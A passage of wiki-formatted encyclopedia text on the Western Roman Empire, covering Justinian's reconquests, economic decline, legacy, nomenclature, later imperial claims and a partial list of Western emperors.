During the 6th century, the Eastern Roman Empire under Justinian managed to reconquer large areas of the former Western Roman Empire. With the pro-Roman Vandal king [[Hilderic]] having been deposed by [[Gelimer]] in 530<ref>Bury (1923), Vol. II, pp. 125–12.</ref>, Justinian prepared an expedition lead by prominent general Belisarius that swiftly retook North Africa from June 533 to March 534, returning the wealthy province to Roman rule. Following the reconquest, Justinian swiftly reestablished the Roman administrations of the province, establishing a new [[Praetorian prefecture of Africa|Praetorian Prefecture of Africa]]<ref>Bury (1923), Vol. II, p. 140.</ref> and taking measures to decrease vandal influence, eventually leading to the complete disappearance of the [[Vandals|vandalic people]].<ref>Bury (1923), Vol. II, p. 139.</ref>{{double image|right|Mosaic of Justinianus I - Basilica San Vitale (Ravenna).jpg|200|Manuel I Comnenus.jpg|182|[[Justinian I]] (right) was the first Eastern Emperor to attempt to reconquer the territories of the Western Roman Empire, undertaking successful campaigns in Africa and Italy in the 500s. [[Manuel I Komnenos]] (right) was the last, campaigning in southern Italy in the 1150s.}}

Following the execution of the pro-Roman Ostrogoth queen [[Amalasuntha]] and the refusal of Ostrogoth king [[Theodahad]] to renounce his control of Italy, Justinian ordered the expedition to move on to reconquer Italy<ref name=":7" />, ancient heartland of the Empire. From 534 to 540, the Roman forces campaigned in Italy and captured Ravenna, the Ostrogothic and formerly Western Roman capital, in 540. The Gothic resistance revived under king Totila in 541, and they were only defeated following campaigns by the Roman general [[Narses]], who also repelled invasions into Italy by the [[Franks]] and [[Alemanni]].<ref>De Bello Gothico IV 32, pp. 241-245.</ref> Justinian promulgated the [[Pragmatic Sanction]] to reorganize the governance of Italy and the province was returned to Roman rule, though some cities in northern Italy continued to hold out until the 560s. The end of the conflict saw Italy devastated and considerably depopulated, which made it difficult to retain over the following centuries.

Justinian also undertook limited campaigns against the [[Visigothic Kingdom|Visigoths]], recovering portions of the southern coast of the [[Iberian Peninsula|Iberian peninsula]]. Here, the province of [[Spania]] would last until the 620s, when the Visigoths under king [[Suintila]] reconquered the southern coast.<ref>Thompson, p. 325.</ref>
These regions remained under Roman control throughout the reign of Justinian. Only three years after his death, the [[Lombards]] invaded Italy. Through conquests of the devastated peninsula, the Lombards conquered large parts of Italy in the late 500s, establishing the [[Lombard Kingdom]]. The Lombards were in constant conflict with the [[Exarchate of Ravenna]], a polity established to replace the old [[Praetorian prefecture of Italy|Praetorian Prefecture of Italy]] and enforcing Roman rule in Italy. The wealthiest parts of the province, including the cities of [[Rome]] and [[Ravenna]], remained securely in Roman hands under the Exarchate throughout the seventh century.<ref>The Making of Orthodox Byzantium</ref>[[File:ByzantineEmpire717AD2lightpurple.PNG|thumb|Map of the [[Eastern Roman empire|Eastern Roman Empire]] in 717 AD, over the course of the seventh and eighth centuries, Islamic expansion had ended Roman rule in Africa and though some bastions of Roman rule remained, most of Italy was controlled by the [[Lombards]].|left]]Although some eastern emperors occasionally attempted to campaign in the West, none were as successful as Justinian. After 600, events conspired to drive the Western provinces out of Constantinople's control, with imperial attention focused on the pressing issues of [[Byzantine-Sassanid War of 602-628|war with Sasanian Persia]] and then the rise of Islam. For a while, the West remained important, with the [[Constans II|Emperor Constans II]] ruling from [[Syracuse, Sicily|Syracuse]] in Sicily a Roman Empire that still stretched from North Africa to the Caucasus in the 660s, but thereafter imperial attention declined rapidly, with Constantinople itself being besieged in the 670s, renewed war with the Arabs in the 680s, and then a period of chaos between 695 and 717, during which time Africa was finally lost to the Romans once and for all, being conquered by the [[Umayyad Caliphate]]. Through reforms and military campaigns, Emperor Leo III attempted to restore order in the Empire, but his doctrinal reforms, known as the [[Byzantine Iconoclasm|Iconoclastic Controversy]], were extremely unpopular in the West and were condemned by [[Pope Gregory III]].<ref>David Knowles – Dimitri Oblensky, "The Christian Centuries: Volume 2, The Middle Ages", Darton, Longman & Todd, 1969, p. 108-109.</ref> This led to the final breakdown in imperial rule over Rome itself, and the gradual transition of the Exarchate of Ravenna into the independent [[Papal States]], lead by the Pope. In an attempt at gaining support against the Lombards, the Pope called for aid from the [[Frankish kingdom|Frankish Kingdom]] instead of the Eastern Empire, eventually crowning the Frankish king [[Charlemagne]] as "Roman Emperor" in 800 AD. Though this coronation was strongly opposed by the Eastern Empire, there was little they could do as their influence in Western Europe decreased.

Imperial rule continued in [[Sicily]] throughout the eighth century, with the island slowly being overrun by the Arabs over the course of the ninth century. In Italy, a few strongholds in [[Calabria]] ultimately provided a base for modest imperial expansion, which reached its peak in the early eleventh century, with most of southern Italy under Roman rule of a sort. This, however, was undone by further civil wars in the empire, and the slow conquest of the region by the Empires' former mercenaries, the [[Normans]], who finally put an end to imperial rule in Western Europe in 1071 with the [[Siege of Bari|conquest of Bari]].<ref>Ravegnani, Giorgio (2004). ''I bizantini in Italia'' (in Italian). Bologna: Il Mulino. p. 203.</ref> The last Emperor to attempt reconquests in the West was [[Manuel I Komnenos]], who invaded Southern Italy during a war with the Norman [[Kingdom of Sicily]] in the 1150s. The city of [[Bari]] willingly opened its gates to the Emperor<ref>J. Norwich, ''Byzantium: The Decline and Fall'', 112–113</ref> and facing successes in the taking of other cities in the region, Manuel dreamed of a restored Roman Empire and a union between the churches of [[Catholic Church|Rome]] and [[Eastern Orthodox Church|Constantinople]]<ref>[[Alexander Vasiliev (historian)|A. A. Vasiliev]], ''History of the Byzantine Empire'', [http://www.intratext.com/IXT/ENG0832/_P1A.HTM VII]</ref>, separated since the [[East–West Schism|schism of 1054]]. Despite initial successes and Papal support, the campaign was unsuccessful and Manuel was forced to return East.<ref>J. Norwich, ''Byzantium: The Decline and Fall'', 116</ref>
==Economical decline==
[[File:0418 Befreiung einer belagerten Stadt Bodemuseum anagoria.JPG|thumb|Stone-carved [[relief]] depicting the liberation of a besieged city by a relief force, with those defending the walls making a [[sortie]]. Western Roman Empire, early 5th century AD|348x348px]]The Western Roman Empire, less urbanized than the Eastern and with a more spread-out populace, may have experienced an economic decline throughout the Late Empire in some provinces.<ref>{{Cite journal|date=1976-01-01|title=Economic change and the demise of the Roman Empire|url=https://www.sciencedirect.com/science/article/pii/0014498376900048|journal=Explorations in Economic History|language=en|volume=13|issue=1|pages=43–68|doi=10.1016/0014-4983(76)90004-8|issn=0014-4983}}</ref> Southern Italy, northern Gaul (except for large towns and cities) to some extent Spain and the Danubian areas may have suffered. The East was not so destitute, especially as Emperors like [[Constantine the Great]] and [[Constantius II]] had invested heavily in the eastern economy. As a result, the Eastern Empire could afford large numbers of professional soldiers and augment them with mercenaries, while the Western Roman Empire could not afford this to the same extent. Even in major defeats, the East could, certainly not without difficulties, buy off its enemies with a ransom.<ref>{{Cite web|url=http://www.deremilitari.org/REVIEWS/Luttwak_GrandStrategyByzEmp.htm|title=Luttwak -- The Grand Strategy of the Byzantine Empire|website=www.deremilitari.org|access-date=2018-02-08}}</ref>

The political, economic and military control of the Eastern Empire's resources remained safe in Constantinople, which was well fortified and located at the crossroads of several major trade and military routes.<ref>{{Cite news|url=https://www.ancient.eu/Constantinople/|title=Constantinople|work=Ancient History Encyclopedia|access-date=2018-02-08}}</ref> In contrast, the Western Empire was more fragmented. Its capital was transferred to [[Ravenna]] in 402 largely for defensive reasons, and it had easy access to the imperial fleet of the Eastern Empire but was isolated in other aspects as it was surrounded by swamps and marshes. This isolation was intentional, as Ravenna had been chosen as capital due to being more defensible against the increasing barbarian incursions.<ref name=":12" /> The economic power remained focused on Rome and its hyper-rich senatorial aristocracy which dominated much of Italy and Africa in particular. After [[Gallienus]] banned senators from army commands in the mid-3rd century, the senatorial elite lost all experience of—and interest in—military life. In the early 5th century the wealthy landowning elite of the Roman Senate largely barred its tenants from military service, but it also refused to approve sufficient funding for maintaining a sufficiently powerful mercenary army to defend the entire Western Empire. The West's most important military area had been northern Gaul and the Rhine frontier in the 4th century, when [[Trier]] frequently served as the capital of the Empire and many leading Western generals were [[Barbarians]]. After the civil war in 394 between [[Theodosius I]] and the usurper [[Eugenius]], the new Western government installed by Theodosius I increasingly had to divert military resources from Britain and the Rhine to protect Italy. This, in turn, led to further rebellions and civil wars because the Western imperial government was not providing the military protection the northern provinces expected and needed against the barbarians.

The Western Empire's resources were much limited, and the lack of available manpower forced the government to rely ever more on confederate barbarian troops operating under their own commanders, where the Western Empire would often have difficulties paying. In certain cases deals were struck with the leaders of barbaric mercenaries rewarding them with land, which led to the Empire's decline as less land meant there would be less tax revenue to support the military.

As the central power weakened, the State gradually lost control of its borders and provinces, as well as control over the [[Mediterranean Sea]]. Roman Emperors tried to maintain control of the sea, but, once the [[Vandals]] conquered [[North Africa]], imperial authorities had to cover too much ground with too few resources. The loss of the African provinces might have been the worse reversal on the West's fortunes, since they were among its wealthiest territories and supplied the essential grain imports to Italy. In many places, the Roman institutions collapsed along with the economic stability. In some regions, such as Gaul and Italy, the settlement of barbarians on former Roman lands seems to have caused relatively little disruption.

==Legacy==
{{Further|Legacy of the Roman Empire|Romance languages|Corpus Juris Civilis|Civil law (legal system)|Latin alphabet|Literature|Bust (sculpture)|Concrete|Cities}}
{{double image|right|Consular diptych Probus 406.jpg|130|Consular diptych Constantius III.jpg|170|'''On the left''': [[Honorius (emperor)|Emperor Honorius]] on the [[consular diptych]] of [[Anicius Petronius Probus]] (406) '''On the right''': [[Consular diptych]] of [[Constantius III]] (a co-emperor with Honorius in 421), produced for [[Roman consul|his consulate]] in 413 or 417}}

As the Western Roman Empire crumbled, the new Germanic rulers who conquered the provinces upheld many Roman laws and traditions. Many of the invading Germanic tribes were already Christianized, although most were followers of [[Arianism]]. They quickly converted to [[State church of the Roman Empire|official imperial Christianity]], gaining more loyalty from the local Roman populations, as well as the recognition and support of the powerful [[Bishop]] of Rome. Although they initially continued to recognize indigenous tribal laws, they were more influenced by [[Roman Law]] and gradually incorporated it as well.<ref name=":10" />

Roman Law, particularly the [[Corpus Juris Civilis]] collected by order of Justinian I, is the ancient basis on which the modern [[Civil law (legal system)|Civil law]] stands. In contrast, [[Common law]] is based on the Germanic [[Anglo-Saxon law]]. Civil law is by far the most widespread system of law in the world, in force in some form in about 150 countries.<ref>[https://www.cia.gov/library/publications/the-world-factbook/docs/notesanddefs.html?countryName=Iran&countryCode=ir&regionCode=me#2100 "The World Factbook"]. ''cia.gov''.</ref>
[[File:Romance languages.png|left|thumb|[[Romance language|Romance languages]], languages that developed from [[Latin]] following the collapse of the Western Roman Empire, are spoken in [[Western Europe]] to this day and their spread almost reflect the continental borders of the old Empire.]]
[[Latin (language)|Latin]] as a language never really disappeared. [[Vulgar Latin]] combined with neighboring Germanic and [[Celtic languages]], giving rise to many modern [[Romance languages]] such as [[Italian (language)|Italian]], [[French (language)|French]], [[Spanish (language)|Spanish]], [[Portuguese (language)|Portuguese]], [[Romanian (language)|Romanian]] and a large number of minor languages and dialects. Today, more than 900 million people are native speakers worldwide. In addition, many Romance languages are used throughout the world as [[Lingua franca|lingua francas]] by non-native speakers.<ref>[M. Paul Lewis, Ethnologue: Languages of the World, Sixteenth Edition http://www.ethnologue.com/ethno_docs/distribution.asp?by=size]</ref>

Latin also influenced [[Germanic (language)|Germanic languages]] such as [[English (language)|English]]<ref>Lounsbury, ''History of the English Language'', page 42.</ref>, [[German (language)|German]]<ref>{{Cite web|url=http://www.goethe.de/ges/phi/prj/ffs/the/spr/en4980180.htm|title=Fikrun wa Fann - Topics - Language - Goethe-Institut|website=www.goethe.de|language=en|access-date=2017-12-09}}</ref>, and [[Dutch (language)|Dutch]]<ref>{{Cite web|url=http://www.ezglot.com/etymologies.php?l=nld&l2=lat&submit=Compare|title=List of Dutch words of Latin origin|website=www.ezglot.com|language=en|access-date=2017-12-09}}</ref>; all surviving [[Celtic languages]]<ref>{{Cite journal|last=Genee|first=Inge|date=2005-11-01|title=Latin Influence on Old Irish? A Case Study in Medieval Language Contact|url=https://www.researchgate.net/publication/233659715_Latin_Influence_on_Old_Irish_A_Case_Study_in_Medieval_Language_Contact|journal=Journal of Celtic Linguistics|volume=9|pages=33–72}}</ref>, [[Albanian (language)|Albanian]]<ref>[[Albanian language#CITEREFKopitar1829|Kopitar 1829]], p. 254.</ref>, and such [[Slavic Languages|Slavic languages]] as [[Polish (language)|Polish]]<ref>{{Cite web|url=http://www.ezglot.com/etymologies.php?l=pol&l2=lat|title=List of Polish words of Latin origin|website=www.ezglot.com|language=en|access-date=2017-12-09}}</ref> and [[Czech (language)|Czech]]<ref>{{Cite web|url=http://www.ezglot.com/etymologies.php?l=ces&l2=lat&submit=Compare|title=List of Czech words of Latin origin|website=www.ezglot.com|language=en|access-date=2017-12-09}}</ref>, and even the non-Indo-European [[Hungarian (language)|Hungarian]]<ref>{{Cite news|url=https://blog.oxforddictionaries.com/2016/10/21/hungarian/|title=The curious case of Hungarian: Europe’s most complex language? - OxfordWords blog|date=2016-10-21|work=OxfordWords blog|access-date=2017-12-09|language=en-US}}</ref>. It survives in its "purer" form<ref group="note">[[Ecclesiastical Latin]], the language used by the modern [[Catholic Church]], is largely identical to written [[Classical Latin]] (the language of the Roman Empire), but differs in a simplified syntax and a pronunciation that is closer to modern [[Italian language|Italian]] than to the language of antiquity.</ref> as the language of the Catholic Church<ref>{{Cite news|url=http://catholicism.org/why-does-did-the-roman-catholic-church-make-latin-her-language.html|title=Why Does (Did) the Roman Catholic Church Make Latin Her Language?|date=2014-09-18|work=Catholicism.org|access-date=2017-12-09|language=en}}</ref> (the [[Mass (liturgy)|Mass]] was spoken exclusively in Latin until [[Ecclesiastical Latin|1969]]), and was used as a [[lingua franca]] between many nations. It remained the language of medicine, law, diplomacy (most treaties were written in Latin), of intellectuals and scholarship.

The [[Latin alphabet]] was expanded due to the splits of I into I and J and of U into U, V, and in places (especially Germanic languages and Polish) W; it is the most widely used alphabetic writing system in the world today. [[Roman numerals]] continue to be used, but were mostly replaced by [[Arabic numerals]].<ref>Math Forum - History of Numerals and Symbols, http://mathforum.org/library/drmath/view/52545.html ''mathforum.org''. Retrieved 2017-12-09.</ref>

A very visible legacy of the Western Roman Empire is the [[Roman Catholic Church]]. The Church slowly began to replace Roman institutions in the West, even helping to negotiate the safety of Rome during the late 5th century.<ref name=":2" /> In many cases the only source of law and civil administration was the local bishop, often himself a former governor like [[St. Ambrose]] of Milan and [[St. Germanus]] of Auxerre. As Rome was invaded by Germanic tribes, many assimilated, and by the middle of the medieval period (c. 9th and 10th centuries) the central, western, and northern parts of [[Europe]] had been largely converted to [[Roman Catholic Church|Roman Catholicism]] and acknowledged the Pope as the [[Vicar of Christ]]. The first of the Barbarian kings to convert to the church of Rome was [[Clovis I]] of the Franks and other kingdoms, such as the [[Visigothic Kingdom|Visigoths]], later followed suit to garner favor with the papacy.<ref>Le Goff, Jacques (2000). ''Medieval Civilization''. Barnes & Noble. p. 14, 21. {{ISBN|0-631-17566-0}}.</ref> Following the reconquest of Italy under Emperor [[Justinian I]], the popes were largely subservient to the [[Exarch of Ravenna|Exarchs of Ravenna]] (the imperial representative in Italy). This humiliation, alongside the increasing amounts of territory lost by the Empire to the [[Early Muslim conquests|Islamic conquests]] and the inability to protect Italy against the [[Kingdom of the Lombards|Lombards]], prompted [[Pope Stephen II]] to turn from the Eastern Emperor [[Constantine V]]. Instead he appealed to the Frankish king [[Pepin the Short|Pepin]], who subdued the Lombards and donated lands to the papacy. When [[Pope Leo III]] crowned [[Charlemagne]] as "Roman Emperor" in 800, he both severed ties with the outraged Eastern Empire and established the precedent that no man in Western Europe would be emperor without a papal coronation.<ref>[[Pope#CITEREFDurant1950|Durant 1950]], pp. 517–551.</ref> Though the power the Pope wielded changed significantly throughout the subsequent [[Middle Ages]] and the [[Modern period]], the office remains as the head of the [[Roman Catholic church|Roman Catholic Church]] and the head of state of the [[Vatican City]], the smallest sovereign state in the world. The Pope has consistently held the title of "[[Pontifex Maximus]]" since before the fall of the Western Roman Empire and retains it to this day<ref>[[Annuario Pontificio]] (Libreria Editrice Vaticana, 2012 {{ISBN|978-88-209-8722-0}}), p. 23*</ref>, a title formerly used by the high priest of the old [[Roman Polytheism|Roman polytheism]].

Though gone in modern times, the [[Roman Senate]] survived the initial collapse of the Western Roman Empire. Its authority even seems to have increased under the rule of Italy by [[Odoacer]] and later the [[Ostrogoths]], evident by that the senate in 498 managed to install [[Pope Symmachus|Symmachus]] as pope despite both [[Theoderic the Great|Theoderic]] of Italy and emperor [[Anastasius I Dicorus|Anastasius]] supporting the other candidate, [[Antipope Laurentius|Laurentius]].<ref>Levillain, Philippe (2002). [https://books.google.com/books?id=7VDcmDeLuV4C&pg=PA907 ''The Papacy: Gaius-Proxies'']. Psychology Press. p. 907. {{ISBN|978-0-415-92230-2}}.</ref> When exactly the senate disappeared is unclear, it is known that the institution remained into the sixth century as gifts from the senate were received by emperor [[Tiberius II Constantine|Tiberius II]] in 578 and 580 in hope of aid against the invading [[Lombards]]. The traditional senate building, [[Curia Julia]], was rebuilt into a church under pope [[Pope Honorius I|Honorius I]] in 630, probably with permission from the eastern emperor [[Heraclius]].<ref>Walter Emil Kaegi (27 mars 2003). [https://books.google.com/books?id=tlNlFZ_7UhoC&pg=PA196 ''Heraclius, Emperor of Byzantium'']. Cambridge University Press. p. 196. {{ISBN|978-0-521-81459-1}}.</ref>

=== Nomenclature ===
[[Marcellinus Comes]], a sixth century Eastern Roman historian and a courtier of [[Justinian I]], mentions the Western Roman Empire at some points in his ''Chronicle'', which primarily covers the Eastern Roman Empire from 379 to 534. In the ''Chronicle'', it is made clear that Marcellinus made a clear divide between East and West, with both mentions of a geographical east ("''Oriens''") and west ("''Occidens''") and an imperial east ("''Orientale imperium''" and "''Orientale respublica''") and an imperial west ("''Occidentalie imperium''", "''Occidentale regnum''", "''Occidentalis respublica''", "''Hesperium regnum''", "''Hesperium imperium''" and "''principatum Occidentis''"). Furthermore, Marcellinus specifically designates some emperors and consuls as being "Eastern", "''Orientalibus principibus''" and "''Orientalium consulum''" respectively.<ref name=":02">{{Cite book|url=https://books.google.com/books?id=ep6U-meRt00C&dq|title=Count Marcellinus and His Chronicle|last=Croke|first=Brian|publisher=OUP Oxford|year=2001|isbn=0198150016|location=|pages=78}}</ref> The term ''Hesperium Imperium'', simply translating to "Western Empire", has sometimes been applied to the Western Roman Empire by modern historians as well.<ref>{{Cite book|url=https://books.google.com/books?id=XZarBAAAQBAJ&dq|title=Contested Monarchy: Integrating the Roman Empire in the Fourth Century AD (Oxford Studies in Late Antiquity)|last=Wienand|first=Johannes|publisher=Oxford University Press|year=2014|isbn=0199768994|location=|pages=260}}</ref><ref>{{Cite book|url=https://books.google.com/books?id=sbw_AQAAIAAJ&hl|title=Dictionary of Greek and Roman Biography and Mythology: Volume 1|last=Smith|first=William|publisher=|year=|isbn=|location=|pages=52}}</ref>

Though Marcellinus does not refer to the Empire as a whole after 395, only referring specifically to its separate halves, he clearly identifies the term "Roman" as applying to the Empire as a whole. When using terms such as "us", "our generals" and "our emperor", Marcellinus distinguished both divisions of the Empire from outside foes such as the [[Sassanid Persians]] and the [[Huns]].<ref name=":02" /> This view is consistent with the knowledge that contemporary Romans of the fourth and fifth century continued to consider the Empire as a single unit, though sometimes with two rulers (as there had been many times in the past).<ref>{{Cite book|url=https://books.google.com/books?id=U8GwBgAAQBAJ&vq|title=A History of the Later Roman Empire|last=Bury|first=J. B.|date=2015-03-05|publisher=Cambridge University Press|isbn=9781108083171|language=en}}</ref>
=== Attempted restorations ===
[[File:Exarchate of Ravenna 600 AD.png|thumb|The [[Exarchate of Ravenna]] within the Roman Empire in 600 AD. The Exarchates of Ravenna and [[Exarchate of Africa|Africa]] were established by the Eastern Empire to better administrate the reconquered Western territories.|left]]
The positions of Eastern and Western ''Augustus'', established under Emperor [[Diocletian]] in 286 as the [[Tetrarchy]], had been abolished by Emperor [[Zeno (emperor)|Zeno]] in 480 following the loss of direct control over the western territories. Declaring himself the sole ''Augustus'', Zeno only exercised true control over the largely intact Eastern Empire and over Italy as the nominal overlord of [[Odoacer]].<ref name=":11" /> With the reconquests under [[Justinian I]] and the significant expansion of territory they brought, the Empire began to face the same problems it had faced during previous periods where there was only one ruler. As such, the idea of splitting the imperial court into two once more to more effectively govern the territory of the Empire resurfaced in the East.

The earliest attempt at crowning a new Western Emperor after the abolition of the title<ref>For an overview, cf. Börm, Henning (2008).</ref> occurred already during the [[Gothic War (535–554)|Gothic Wars]] under Justinian. [[Belisarius]], an accomplished general that had already successfully campaigned to restore Roman control over North Africa and large parts of Italy (including Rome itself), was offered the position of Western Roman Emperor by the [[Ostrogothic Kingdom|Ostrogoths]] during his siege of [[Ravenna]] (the Ostrogothic, and previously Western Roman, capital) in 540. The Ostrogoths, desperate to avoid losing their control of Italy, offered the title and fealty to Belisarius as Western ''Augustus''. Loyal to Justinian (who hoped to rule over a restored Roman Empire alone),<ref>''Codex Iustinianus'' 1.27.1 </ref> Belisarius feigned to accept the title to enter the city, whereupon he immediately relinquished it. Despite Belisarius relinquishing the title, the offer had made Justinian suspicious and Belisarius was ordered to return east.<ref>Moorhead, John (1994). ''[https://books.google.com/books/about/Justinian.html?id=cGQbAAAAYAAJ&redir_esc=y Justinian]''. pp. 84-86</ref>

At the end of emperor [[Tiberius II Constantine|Tiberius II]]'s reign in 582, the [[Eastern Roman empire|Eastern Roman Empire]] retained control over relatively large parts of the regions reconquered under Justinian. Tiberius chose two ''Caesares'', the general [[Maurice (emperor)|Maurice]] and the governor [[Germanus (Caesar)|Germanus]], and married his two daughters to them. Germanus had clear connections to the western provinces, and Maurice to the eastern provinces. It is possible that Tiberius had planned to divide the empire into western and eastern administrative units once more<ref>Whitby (1988) p. 7.</ref>, but if those plans existed they were never realized. At the death of Tiberius, Maurice inherited the entire empire as Germanus had refused the throne.<ref>Pearse, Roger. "[http://www.tertullian.org/fathers/nikiu2_chronicle.htm John, Bishop of Nikiu: Chronicle. London (1916). English Translation]". ''www.tertullian.org''. Retrieved 2017-10-15.</ref> Maurice would come to establish a new type of administrative unit, the [[Exarchate|Exarchates]], and organized the remaining western territories under his control into two such exarchates; the Exarchates of [[Exarchate of Ravenna|Ravenna]] and [[Exarchate of Africa|Africa]].

=== Restoration of the Imperial title in the West ===
[[File:Charlemagne denier Mayence 812 814.jpg|thumb|Denarius of [[Francia|Frankish king]] [[Charlemagne]], who was crowned as Roman Emperor ''Karolus Imperator Augustus'' in the year 800 by [[Pope Leo III]] in opposition to the [[Byzantine Empire|Roman Empire in the east]] at the time being ruled by [[Irene of Athens|Irene]], a woman.|189x189px]]
In addition to remaining as a concept for an administrative unit in the [[Byzantine Empire|remaining Empire]], the ideal of the Roman Empire as a mighty Christian Empire with a single ruler further continued to appeal to many powerful rulers in western Europe. With the papal coronation of [[Charlemagne]] as "[[Holy Roman Emperor|Emperor of the Romans]]" in 800 AD, his realm was explicitly proclaimed as a restoration of the Roman Empire in Western Europe under the concept of ''[[translatio imperii]]''. Though the [[Carolingian Empire]] collapsed in 888 and [[Berengar I of Italy|Berengar]], the last "Emperor" claiming succession from Charlemagne, died in 924, the concept of a papacy- and Germanic-based Roman Empire in the West would resurface in the form of the [[Holy Roman Empire]] in 962. This Empire would regard itself as the successor state of [[Ancient Rome]] until its downfall in 1806.

Charlemagne, and the subsequent Holy Roman Emperors were not, and did not claim to be, rulers of a restored Western Roman Empire. Pope Leo III and contemporary historians were fully aware of that the notion of a separate Western court had been abolished over three centuries prior and considered the Roman Empire to be "one and indivisible". The ruler of the Roman Empire at the time of Charlemagne's coronation was [[Irene of Athens|Irene]], the mother of emperor [[Constantine VI]] who she had deposed. Leo III considered Irene to be a usurper and illegitimate to rule due to her gender and as such considered the imperial throne to be vacant. Thus, Charlemagne was not crowned as the ruler of the Western Roman Empire and successor to [[Romulus Augustulus]], but rather as the successor of Constantine VI and as sole Roman Emperor.<ref>[[James Bryce, 1st Viscount Bryce]], ''The Holy Roman Empire'', 1864, pp 62–64.</ref> Irene was deposed and replaced by Emperor [[Nikephoros I|Nikephoros]] soon after, and the Eastern Empire refused to recognize the Imperial title of Charlemagne. Emperor [[Michael I Rangabe]] eventually recognized Charlemagne as an "Emperor"<ref>''eum imperatorem et basileum appellantes'', cf. ''[[Royal Frankish Annals]]'', a. 812.</ref> following several wars in the 810s, but as the slightly humiliating "Emperor of the Franks" rather than "Roman Emperor", a title he reserved for himself.<ref>Eichmann, Eduard (1942). [https://books.google.com/books?id=6S00AAAAIAAJ&pg=PA33 ''Die Kaiserkrönung im Abendland: ein Beitrag zur Geistesgeschichte des Mittelalters, mit besonderer Berücksichtigung des kirchlichen Rechte, der Liturgie und der Kirchenpolitik'']. Echter-Verlag. p. 33.</ref> For centuries to come, the "revived" Western court and the Eastern court, in direct succession to the Roman Emperors of old, would make competing claims to be rulers of the whole and as being the sole legitimate Roman Empire.

Following the final fall of the [[Eastern Roman empire|Eastern Roman Empire]] after the [[Fall of Constantinople]] in 1453 and the downfall of the [[Holy Roman Empire]] in 1806, the title of "Emperor" became widespread among European monarchs. The [[Austrian Empire]] laid claim to be the heir of the Holy Roman Empire as Austria's [[House of Habsburg|Habsburgs]] attempted to unite Germany under their rule.<ref name="Craig M. White 2007. P. 139">Craig M. White. ''The Great German Nation: Origins and Destiny''. AuthorHouse, 2007. P. 139.</ref> The [[German Empire]], established in 1871, also claimed to be a successor of Rome through the lineage of the Holy Roman Empire.<ref name="Warwick Ball 2000. P. 449">Warwick Ball. ''Rome in the East: The Transformation of an Empire''. London, England, UK: Routledge, 2000. P. 449.</ref> Both of these empires used the imperial title ''[[Kaiser]]'' (derived from Latin Caesar), the German word for emperor. The German Empire and [[Austria-Hungary]], successor of the Austrian Empire, would both fall in the aftermath of the [[World War I|First World War]] along with the [[Russian Empire|Russian]] and [[Ottoman Empire|Ottoman Empires]] who had claimed succession from the Eastern Roman Empire.

==List of Western Roman Emperors==

===Western Emperors under the Tetrarchy (286 to 313)===
Under the organization of the [[Tetrarchy]], the [[Roman Empire]] was divided into two administrative halves: east and west. Both halves were governed by their own ''Augustus'' (Emperor), both of which also appointed a ''Caesar'' (Junior Co-emperor) that would succeed them upon abdication or death. ''Augusti'' are listed here with their ''Caesares'' and regents further indented. The Tetrarchy would collapse already under the reign of Constantine Chlorus, and the subsequent series of civil wars would result in the coronation of [[Constantine the Great|Constantine I]] as sole roman emperor.
* [[Maximian|'''Maximian''']]: 286 to 305
** [[Constantius Chlorus]]: 293 to 305 as ''Caesar''

* [[Constantius Chlorus|'''Constantius I Chlorus''']]: 305 to 306
** [[Valerius Severus]]: 305 to 306 as ''Caesar''

* [[Valerius Severus|'''Valerius Severus''']]: 306 to 307
** [[Constantine the Great|Constantine]]: 306 to 307 as ''Caesar''

* [[Maxentius|'''Maxentius''']]: 307 to 312, periodically with [[Maximian]]

* [[Licinius|'''Licinius''']]: 308 to 313

===Constantinian dynasty (313 to 363)===
Following the death of Constantine I the Empire would be divided once more, this time into three different sections under his sons Constantine II, Constans I and Constantius II. The death of Constantine II in 340 would once more lead to a West-East division.
* '''[[Constantine the Great|Constantine I]], ''the Great''''': 306 to 337 (Emperor of the whole Roman Empire 324-337)

* '''[[Constantine II (emperor)|Constantine II]],''' 337 to 340 (Emperor of Gaul, Britannia and Hispania)
* [[Constans|'''Constans I''']], 337 to 350 (Emperor of Italy and Africa 337-340, Sole Western Roman Emperor 340-350)
* [[Constantius II|'''Constantius II''']], 350 to 361 (Eastern Roman Emperor since 337, Emperor of the whole Roman Empire 350-361)
** [[Julian (emperor)|Julian]]: 355 to 361 as ''Caesar of the West''
* '''[[Julian (emperor)|Julian]], ''the Apostate''''': 361 to 363

===Non-dynastic (363 to 364)===
After the death of Julian and the end of the Constantinian dynasty, Jovian, a general present with the army at the time of the death of Julian, would hastily be proclaimed Roman Emperor.
* '''[[Jovian (emperor)|Jovian]]''': 363 to 364

===Valentinian dynasty (364 to 392)===
[[Valentinian I]], founder of the Valentinian dynasty, was elected as Roman Emperor in [[Constantinople]] shortly after the death of Jovian. He would quickly divide the Empire again for the first time in 14 years, making his brother [[Valens]] ''Augustus'' of the East and securing the western provinces for himself. [[Magnus Maximus]], technically a usurper not part of the Valentinian dynasty, was briefly recognized as Emperor of Britannia and Gaul by Western Emperor [[Valentinian II]] and Eastern Emperor [[Theodosius I|Theodosius]].
* '''[[Valentinian I]], ''the Great''''': 364 to 375
** [[Gratian]]: 367 to 375 as junior ''Augustus''
* '''[[Gratian]]''': 375 to 383
** [[Valentinian II]]: 375 to 383 as junior ''Augustus''

* '''[[Valentinian II]]''': 383 to 392
* '''[[Magnus Maximus]]''': 384 to 388 (Emperor of Gaul and Britannia)
** [[Victor (emperor)|Flavius Victor]]: 384/387 to 388 as junior ''Augustus''

===Theodosian dynasty (392 to 455)===
After the death of [[Valentinian II]], Eastern Emperor [[Theodosius I]] inherited the Western Roman Empire. The division after his death would be the final division of the Roman Empire, which due to the fall of the Western Roman Empire would never be reunited other than purely juridically and nominally.
* '''[[Theodosius I]], ''the Great''''': 392 to 395 (Eastern Roman Emperor since 379, Emperor of the whole Roman Empire 392-395)
* '''[[Honorius (emperor)|Honorius]]''': 395 to 423
** [[Constantine III (Western Roman Emperor)|Constantine III]]: 409 to 411 as ''Augustus'' with Honorius
*** [[Constans II (usurper)|Constans II]]: 409 to 411 as junior ''Augustus''
** [[Constantius III]]: 421 as ''Augustus'' with Honorius
* '''[[Valentinian III]]''': 425 to 455 (''Caesar'' of the West under Eastern Emperor [[Theodosius II]] 423-425)

===Non-dynastic (455 to 480)===
The Eastern emperor was considered the senior emperor throughout the final years of the Western Empire, and a Western emperor was only legitimate if recognized as such by the Eastern emperor. After the death of Valentinian III in 455, the Western emperor ceased to be a relevant figure and there was sometimes no claimant at all. For the sake of historical completeness, all Western Emperors after 455 are included in this list, even if they were not recognized by the Eastern Empire.

